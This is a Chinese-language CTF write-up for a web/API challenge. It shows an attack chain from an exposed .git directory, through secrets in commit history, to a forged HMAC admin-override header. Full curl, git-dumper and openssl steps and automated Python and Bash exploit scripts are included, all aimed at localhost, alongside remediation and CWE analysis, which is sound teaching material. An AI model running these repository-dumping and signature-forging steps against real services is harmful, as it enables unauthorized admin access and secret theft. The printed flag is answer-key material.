hasanqadoumi/neurolink-ctf-writeup

GitHub: hasanqadoumi/neurolink-ctf-writeup

一份 ASU CTFv13 黑盒 Web/API 安全挑战的完整解题报告,演示了从 git 泄露到 HMAC 伪造实现管理员越权的攻击链路。

Stars: 0 | Forks: 0

# NeuroLink Industries — 智能家居入侵 **类别:** Web 安全 / API 漏洞利用 · **难度:** 中高 · **技能:** 侦察、信息泄露、git 泄露、JWT、HMAC 伪造、访问控制失效 ## **📋 题目信息** **题目名称:** NeuroLink Industries - 智能家居入侵 **类别:** Web 安全 / API 漏洞利用 **难度:** 中高 **分数:** 500 **作者:** ASU CTF Team **Flag:** `ASU{8d9ded7c4d07b3e5a5729311e1702ff3}` **标签:** `web`, `api`, `black-box`, `hmac`, `jwt`, `privilege-escalation`, `git-exposure`, `reconnaissance` ## **📝 题目描述** NeuroLink Industries 推出了其革命性的“HomeOS”智能家居管理平台,目前在全球范围内控制着超过 47,000 台连接设备。他们的首席执行官最近声称,得益于其专有的 **QuantumShield™** 安全架构,该平台是“不可破解的”。 然而,安全研究人员对其身份验证系统中潜在的安全漏洞提出了担忧。你的任务是证明即使是“最安全”的系统也可能存在弱点。 **你的目标:** 访问管理控制面板并获取控制所有智能家居设备的主加密密钥。 **起始点:** `http://localhost:3000` **注意:** 这是一个黑盒挑战。你必须通过侦察和分析来发现漏洞。未预先提供任何源代码或文档。 ## **🎯 学习目标** 通过完成此挑战,你将学到: 1. ✅ **黑盒 Web 应用测试** - 系统的侦察技术 2. ✅ **信息泄露利用** - 在意想不到的地方发现敏感数据 3. ✅ **Git 仓库利用** - 从暴露的版本控制中提取机密 4. ✅ **API 安全分析** - 理解和利用 API 身份验证 5. ✅ **JWT Token 篡改** - 解码和分析 JSON Web Token 6. ✅ **HMAC 签名利用** - 伪造有效的加密签名 7. ✅ **权限提升** - 绕过基于角色的访问控制 ## **🚀 解题指南** ### **阶段 1:初始侦察(10-15 分钟)** #### **步骤 1:浏览应用程序** 首先访问题目 URL: ``` # 在浏览器中打开或使用 curl curl http://localhost:3000 ``` **你会看到:** - NeuroLink HomeOS 的专业落地页 - 关于“不可破解的安全性”的营销说辞 - 登录和注册选项 - 包含多个链接的页脚 **关键观察:** 检查页脚 - 那里有指向各种页面的链接,包括“安全审计” #### **步骤 2:阅读安全审计** 导航至:`http://localhost:3000/security-audit` **关键发现:** ``` 🟡 MEDIUM - Emergency Admin Access System An emergency administrative access mechanism has been identified. This system is designed for disaster recovery scenarios. Technical Details: - Access controlled via custom HTTP header - Authentication uses HMAC-SHA256 cryptographic signatures - Requires valid user session (JWT token) 📘 Technical Documentation: For developers and security researchers, detailed information about custom HTTP headers is available at: /api/v2/docs/headers ``` **关键发现:** 1. ✅ 存在紧急管理员访问权限 2. ✅ 使用 HMAC-SHA256 3. ✅ 需要自定义 HTTP 标头 4. ✅ 文档位于 `/api/v2/docs/headers` #### **步骤 3:检查 robots.txt(标准侦察)** ``` curl http://localhost:8000/robots.txt ``` **响应:** ``` User-agent: * Disallow: /admin Disallow: /api/v2/admin Disallow: /.git Disallow: /.env # 内部记录: # - Git repository 意外遗留在 /.git 处可被访问 # - 检查 commit history 以获取旧配置 # - API 文档:/api/v2/docs/headers # - 安全审计:主站点上的 /security-audit ``` **关键发现:** 🔥 `.git` 目录被暴露了! #### **步骤 4:阅读 API 文档** ``` curl http://localhost:8000/api/v2/docs/headers | jq ``` **响应:** ``` { "custom_headers": [ { "name": "X-Admin-Override", "description": "Emergency admin access header (restricted)", "authentication": "HMAC-SHA256", "format": "Hex-encoded HMAC signature", "signature_details": { "algorithm": "HMAC-SHA256", "message_format": "user_id:role", "separator": "colon (:)", "example_message": "123:admin", "example_calculation": "HMAC-SHA256(secret_key, '123:admin')", "note": "Replace 123 with your actual user_id from JWT token payload" } } ] } ``` **关键发现:** 1. ✅ 标头名称:`X-Admin-Override` 2. ✅ 消息格式:`{user_id}:admin` 3. ✅ 算法:HMAC-SHA256 4. ❓ 密钥:尚未泄露 #### **步骤 5:查看页面源代码** 查看任意页面的源代码(右键点击 → 查看页面源代码): ``` ``` **关键发现:** 🔥 Git 提交 `a3f7b9c` 包含了环境配置信息! ### **阶段 2:Git 仓库利用(15-20 分钟)** #### **步骤 6:验证 Git 泄露** ``` curl http://localhost/.git/HEAD ``` **响应:** ``` ref: refs/heads/master ``` ✅ 确认 Git 仓库存在! #### **步骤 7:提取 Git 仓库** **方法 1:使用 git-dumper(推荐)** ``` # 安装 git-dumper pip install git-dumper # 导出 repository git-dumper http://localhost/.git ./dumped-repo # 导航到导出的 repo cd dumped-repo ``` **方法 2:手动提取** ``` # 创建目录 mkdir git-extract cd git-extract # 下载 git 文件 wget -r -np -nH --cut-dirs=1 http://localhost/.git/ # 重建 repository git init git remote add origin http://localhost/.git git fetch --all git checkout master ``` #### **步骤 8:探索 Git 历史记录** ``` # 查看 commit history git log --oneline ``` **输出:** ``` abc1234 Production deployment v2.0.0 a3f7b9c Security: Move secrets to environment variables for production def5678 Add development environment configuration ``` #### **步骤 9:从旧提交中提取机密** ``` # 查看第一个 commit(包含 secrets) git show def5678:.env ``` **或者:** ``` # 检出旧的 commit git checkout def5678 # 查看 .env 文件 cat .env ``` **提取出的 .env:** ``` # NeuroLink HomeOS - Development Environment Configuration # JWT Authentication Secrets JWT_SECRET=neurolink_secret_key_2024_prod ADMIN_JWT_SECRET=admin_override_key_quantum_shield_v2 # Database Configuration DATABASE_URL=postgresql://homeos_user:secure_db_pass_2024@postgres:5432/homeos_prod # Emergency Access System EMERGENCY_ADMIN_KEY=admin_override_key_quantum_shield_v2 ``` **🎉 关键发现:** ``` ADMIN_JWT_SECRET=admin_override_key_quantum_shield_v2 ``` ### **阶段 3:账号创建与身份验证(5 分钟)** #### **步骤 10:注册账号** ``` curl -X POST http://localhost:8000/api/v2/auth/register \ -H "Content-Type: application/json" \ -d '{ "email": "hacker@ctf.com", "password": "HackTheP1anet123!" }' ``` **响应:** ``` { "message": "User created successfully", "user": { "id": 2, "email": "hacker@ctf.com", "role": "user" } } ``` **或使用测试账号:** - 邮箱:`test@test.com` - 密码:`password` #### **步骤 11:登录并获取 JWT Token** ``` curl -X POST http://localhost:8000/api/v2/auth/login \ -H "Content-Type: application/json" \ -d '{ "email": "hacker@ctf.com", "password": "HackTheP1anet123!" }' ``` **响应:** ``` { "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbWFpbCI6ImhhY2tlckBjdGYuY29tIiwicm9sZSI6InVzZXIiLCJzdWJzY3JpcHRpb24iOiJmcmVlIiwiZXhwIjoxNzM1ODI3NjAwfQ.xyz...", "token_type": "bearer", "user": { "id": 2, "email": "hacker@ctf.com", "role": "user" } } ``` **保存 token:** ``` export TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." ``` #### **步骤 12:解码 JWT 获取 user_id** **方法 1:jwt.io** 1. 访问 [https://jwt.io](https://jwt.io) 2. 粘贴你的 token 3. 查看解码后的 payload **方法 2:命令行** ``` echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq ``` **解码后的 Payload:** ``` { "user_id": 2, "email": "hacker@ctf.com", "role": "user", "subscription": "free", "exp": 1735827600 } ``` **提取 user_id:** ``` export USER_ID=2 ``` ### **阶段 4:漏洞利用(10 分钟)** #### **步骤 13:尝试管理员访问(应该会失败)** ``` curl -X GET http://localhost:8000/admin \ -H "Authorization: Bearer $TOKEN" ``` **响应:** ``` { "error": "Access denied. Admin privileges required.", "your_role": "user", "your_user_id": 2, "hint": "Alternative access methods may be available. Check /security-audit and /api/v2/docs/headers" } ``` ✅ 确认:需要管理员访问权限 #### **步骤 14:计算 HMAC-SHA256 签名** 我们现在已经拥有了所有的片段: - **Secret:** `admin_override_key_quantum_shield_v2` - **消息:** `{user_id}:admin` → `2:admin` - **算法:** HMAC-SHA256 **方法 1:OpenSSL(Linux/Mac)** ``` USER_ID=2 SECRET="admin_override_key_quantum_shield_v2" MESSAGE="${USER_ID}:admin" HMAC=$(echo -n "$MESSAGE" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}') echo "User ID: $USER_ID" echo "Message: $MESSAGE" echo "HMAC: $HMAC" ``` **输出:** ``` User ID: 2 Message: 2:admin HMAC: 3c8f9e2a1b5d7c4e6f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e ``` **方法 2:Python** ``` import hmac import hashlib user_id = 2 secret = "admin_override_key_quantum_shield_v2" message = f"{user_id}:admin" hmac_signature = hmac.new( secret.encode(), message.encode(), hashlib.sha256 ).hexdigest() print(f"User ID: {user_id}") print(f"Message: {message}") print(f"HMAC: {hmac_signature}") ``` **方法 3:CyberChef** 1. 访问 [https://gchef.org/](https://gchef.org/) 2. 添加 "HMAC" 操作 3. 配置: - Key:`admin_override_key_quantum_shield_v2` - Input:`2:admin` - Hashing function:SHA256 4. 复制输出 **保存 HMAC:** ``` export HMAC="3c8f9e2a1b5d7c4e6f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e" ``` #### **步骤 15:利用 - 捕获 Flag!** 🚩 ``` curl -X GET http://localhost:8000/admin \ -H "Authorization: Bearer $TOKEN" \ -H "X-Admin-Override: $HMAC" ``` **🎉 成功!响应:** ``` { "message": "Welcome to NeuroLink Admin Dashboard", "admin_user": "hacker@ctf.com", "system_stats": { "total_users": 15847, "active_devices": 47392, "total_automations": 8921, "system_health": "optimal" }, "master_encryption_key": "ASU{8d9ded7c4d07b3e5a5729311e1702ff3}", "encryption_algorithm": "AES-256-GCM", "key_rotation_date": "2024-12-01", "access_level": "CRITICAL - TOP SECRET" } ``` ## **🚩 FLAG** ``` ASU{8d9ded7c4d07b3e5a5729311e1702ff3} ``` ## **🔥 自动化漏洞利用脚本** ### **Python 漏洞利用 (exploit.py)** ``` #!/usr/bin/env python3 """ NeuroLink CTF - Automated Black Box Exploit """ import requests import hmac import hashlib import json import sys BASE_URL = "http://localhost:8000" def print_banner(): print("╔" + "═" * 62 + "╗") print("║" + " " * 10 + "NeuroLink Black Box CTF - Exploit" + " " * 19 + "║") print("╚" + "═" * 62 + "╝") print() def register_account(email, password): """Step 1: Register new account""" print("[*] Step 1: Registering account...") response = requests.post( f"{BASE_URL}/api/v2/auth/register", json={"email": email, "password": password} ) if response.status_code == 200: print(f"[+] Account created: {email}") return True elif "already exists" in response.text: print(f"[+] Account exists: {email}") return True else: print(f"[-] Registration failed: {response.text}") return False def login(email, password): """Step 2: Login and get JWT token""" print("\n[*] Step 2: Logging in...") response = requests.post( f"{BASE_URL}/api/v2/auth/login", json={"email": email, "password": password} ) if response.status_code != 200: print(f"[-] Login failed: {response.text}") sys.exit(1) data = response.json() token = data['access_token'] user_id = data['user']['id'] print(f"[+] Login successful!") print(f"[+] User ID: {user_id}") print(f"[+] Token: {token[:50]}...") return token, user_id def calculate_hmac(user_id, secret): """Step 3: Calculate HMAC signature""" print("\n[*] Step 3: Calculating HMAC-SHA256 signature...") message = f"{user_id}:admin" hmac_sig = hmac.new( secret.encode(), message.encode(), hashlib.sha256 ).hexdigest() print(f"[+] Secret: {secret}") print(f"[+] Message: {message}") print(f"[+] HMAC: {hmac_sig}") return hmac_sig def exploit(token, hmac_sig): """Step 4: Exploit admin bypass""" print("\n[*] Step 4: Exploiting admin bypass...") headers = { "Authorization": f"Bearer {token}", "X-Admin-Override": hmac_sig } response = requests.get(f"{BASE_URL}/admin", headers=headers) if response.status_code == 200: data = response.json() if 'master_encryption_key' in data: print("\n" + "╔" + "═" * 62 + "╗") print("║" + " " * 20 + "🎉 FLAG CAPTURED! 🎉" + " " * 20 + "║") print("╚" + "═" * 62 + "╝") print() print(f"🚩 FLAG: {data['master_encryption_key']}") print() print("Full Admin Response:") print(json.dumps(data, indent=2)) return True else: print("[-] Unexpected response!") print(json.dumps(data, indent=2)) return False else: print(f"[-] Exploit failed! Status: {response.status_code}") print(response.text) return False def main(): print_banner() # Configuration EMAIL = "hacker@blackbox.ctf" PASSWORD = "CTFPassword123!" SECRET = "admin_override_key_quantum_shield_v2" # Step 1: Register register_account(EMAIL, PASSWORD) # Step 2: Login token, user_id = login(EMAIL, PASSWORD) # Step 3: Calculate HMAC hmac_sig = calculate_hmac(user_id, SECRET) # Step 4: Exploit success = exploit(token, hmac_sig) if success: print("\n[+] Challenge completed successfully!") sys.exit(0) else: print("\n[-] Challenge failed!") sys.exit(1) if __name__ == "__main__": main() ``` **用法:** ``` chmod +x exploit.py python3 exploit.py ``` ### **Bash 漏洞利用 (exploit.sh)** ``` #!/bin/bash echo "╔════════════════════════════════════════════════════════════════╗" echo "║ NeuroLink Black Box CTF - Automated Exploit ║" echo "╚════════════════════════════════════════════════════════════════╝" echo "" # 配置 EMAIL="hacker@blackbox.ctf" PASSWORD="CTFPassword123!" SECRET="admin_override_key_quantum_shield_v2" BASE_URL="http://localhost:8000" # 步骤 1:注册 echo "[*] Step 1: Registering account..." curl -s -X POST $BASE_URL/api/v2/auth/register \ -H "Content-Type: application/json" \ -d "{\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" > /dev/null 2>&1 echo "[+] Account ready" # 步骤 2:登录 echo "" echo "[*] Step 2: Logging in..." RESPONSE=$(curl -s -X POST $BASE_URL/api/v2/auth/login \ -H "Content-Type: application/json" \ -d "{\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}") TOKEN=$(echo $RESPONSE | jq -r '.access_token') USER_ID=$(echo $RESPONSE | jq -r '.user.id') if [ "$TOKEN" == "null" ]; then echo "[-] Login failed!" exit 1 fi echo "[+] Login successful!" echo "[+] User ID: $USER_ID" echo "[+] Token: ${TOKEN:0:50}..." # 步骤 3:计算 HMAC echo "" echo "[*] Step 3: Calculating HMAC-SHA256..." MESSAGE="${USER_ID}:admin" HMAC=$(echo -n "$MESSAGE" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}') echo "[+] Secret: $SECRET" echo "[+] Message: $MESSAGE" echo "[+] HMAC: $HMAC" # 步骤 4:Exploit echo "" echo "[*] Step 4: Exploiting admin bypass..." ADMIN_RESPONSE=$(curl -s -X GET $BASE_URL/admin \ -H "Authorization: Bearer $TOKEN" \ -H "X-Admin-Override: $HMAC") FLAG=$(echo $ADMIN_RESPONSE | jq -r '.master_encryption_key') if [[ $FLAG == ASU* ]]; then echo "" echo "╔════════════════════════════════════════════════════════════════╗" echo "║ 🎉 FLAG CAPTURED! 🎉 ║" echo "╚════════════════════════════════════════════════════════════════╝" echo "" echo "🚩 FLAG: $FLAG" echo "" echo "Full Response:" echo $ADMIN_RESPONSE | jq else echo "[-] Exploit failed!" echo $ADMIN_RESPONSE | jq fi ``` **用法:** ``` chmod +x exploit.sh ./exploit.sh ``` ## **🔍 漏洞分析** ### **根本原因** 漏洞链由多个安全故障组成: 1. **信息泄露** - 安全审计页面泄露了紧急访问机制 - API 文档暴露了标头名称和消息格式 - HTML 注释泄露了 git 仓库信息 2. **暴露的版本控制** - `.git` 目录可公开访问 - Git 历史记录中存在敏感配置文件 - 机密信息在泄露后未正确轮换 3. **弱身份验证绕过** - HMAC 密钥是静态的且已泄露 - 没有 IP 白名单或额外验证 - admin endpoint 没有速率限制 - 缺少审计日志 ### **攻击链** ``` 1. Reconnaissance → Find security audit page 2. Documentation Review → Learn about X-Admin-Override header 3. Source Code Analysis → Discover .git exposure 4. Git Exploitation → Extract secrets from history 5. Account Creation → Obtain user_id from JWT 6. HMAC Calculation → Generate valid signature 7. Privilege Escalation → Access admin dashboard 8. Flag Capture → Retrieve master encryption key ``` ### **CWE 分类** - **CWE-200:** 将敏感信息暴露给未经授权的参与者 - **CWE-312:** 明文存储敏感信息 - **CWE-540:** 源代码中包含敏感信息 - **CWE-798:** 使用硬编码的凭证 - **CWE-287:** 不当的身份验证 ### **OWASP Top 10** - **A01:2021** – 失效的访问控制 - **A02:2021** – 加密机制失效 - **A05:2021** – 安全配置错误 - **A07:2021** – 身份识别和身份验证失效 ## **🛡️ 修复建议** ### **立即采取的行动** 1. **移除紧急访问机制** ``` # DELETE the entire X-Admin-Override logic ``` 2. **移除 Git 仓库** ``` rm -rf .git/ ``` 3. **轮换所有密钥** ``` # Generate new secrets ADMIN_JWT_SECRET=$(openssl rand -hex 32) JWT_SECRET=$(openssl rand -hex 32) ``` 4. **使所有 Token 失效** ``` # Force re-authentication for all users ``` ### **长期解决方案** 1. **实施多因素身份验证** ``` @require_mfa async def admin_dashboard(): pass ``` 2. **添加 IP 白名单** ``` ADMIN_IP_WHITELIST = ['10.0.0.0/8'] if request.client.host not in ADMIN_IP_WHITELIST: raise HTTPException(403, "Admin access restricted") ``` 3. **实施全面的日志记录** ``` await security_audit_log.critical( f"Admin access attempt: user={user_id} ip={ip}" ) ``` 4. **添加速率限制** ``` @rate_limit(max_attempts=3, window=3600) async def admin_endpoint(): pass ``` 5. **保护 Git 仓库** ``` location /.git { deny all; return 404; } ``` 6. **使用环境变量** ``` import os ADMIN_SECRET = os.getenv('ADMIN_JWT_SECRET') if not ADMIN_SECRET: raise ConfigurationError("Admin secret not configured") ``` ## **📊 题目统计** ### **预计解题时间** |技能等级|时间|成功率| |---|---|---| |初学者|2-3 小时|5-10%| |中级|1-1.5 小时|30-40%| |高级|40-60 分钟|60-70%| |专家|20-30 分钟|90%+| ### **发现路径分解** |阶段|时间|难度| |---|---|---| |找到安全审计|5 分钟|简单| |阅读 API 文档|5 分钟|简单| |发现 .git|10 分钟|中等| |提取 git 历史记录|15 分钟|中等| |找到密钥|5 分钟|简单| |计算 HMAC|10 分钟|中等| |漏洞利用|5 分钟|简单| |**总计**|**55 分钟**|**中高**| ## **🎓 关键要点** ### **给参赛者** 1. ✅ 在侦察过程中务必检查 `robots.txt` 2. ✅ 查看所有可公开访问的文档 3. ✅ 寻找暴露的版本控制系统(.git、.svn) 4. ✅ 阅读 HTML 注释和 JavaScript 源代码 5. ✅ 理解 HMAC 和加密签名 6. ✅ JWT token 包含有价值的信息 7. ✅ 信息泄露通常会导致系统被完全攻破 ### **给开发者** 1. ❌ 切勿将机密提交到版本控制中 2. ❌ 切勿在生产环境中暴露 `.git` 目录 3. ❌ 不要依赖“隐蔽式安全” 4. ❌ 紧急访问机制需要适当的防护措施 5. ✅ 为机密信息使用环境变量 6. ✅ 实施纵深防御 7. ✅ 定期的安全审计至关重要 ## **📚 参考资料** - [OWASP API 安全 Top 10](https://owasp.org/www-project-api-security/) - [Git 仓库利用技术](https://blog.includesecurity.com/2014/09/git-as-a-security-concern.html) - [HMAC 身份验证最佳实践](https://tools.ietf.org/html/rfc2104) - [JWT 安全最佳实践](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html) - [CWE-540:通过源代码造成的信息泄露](https://cwe.mitre.org/data/definitions/540.html) ## **🏆 挑战完成!** **祝贺你完成了 NeuroLink Industries 黑盒 CTF 挑战!** 你已经成功地: - ✅ 执行了系统的黑盒侦察 - ✅ 发现并利用了信息泄露 - ✅ 从暴露的 git 仓库中提取了机密 - ✅ 伪造了有效的 HMAC 签名 - ✅ 绕过了基于角色的访问控制 - ✅ 捕获了 Flag! **Flag:** `ASU{8d9ded7c4d07b3e5a5729311e1702ff3}`
标签:API安全, JSON输出, Web安全, Writeup, 安全测试工具, 密码学, 手动系统调用, 蓝队分析, 逆向工具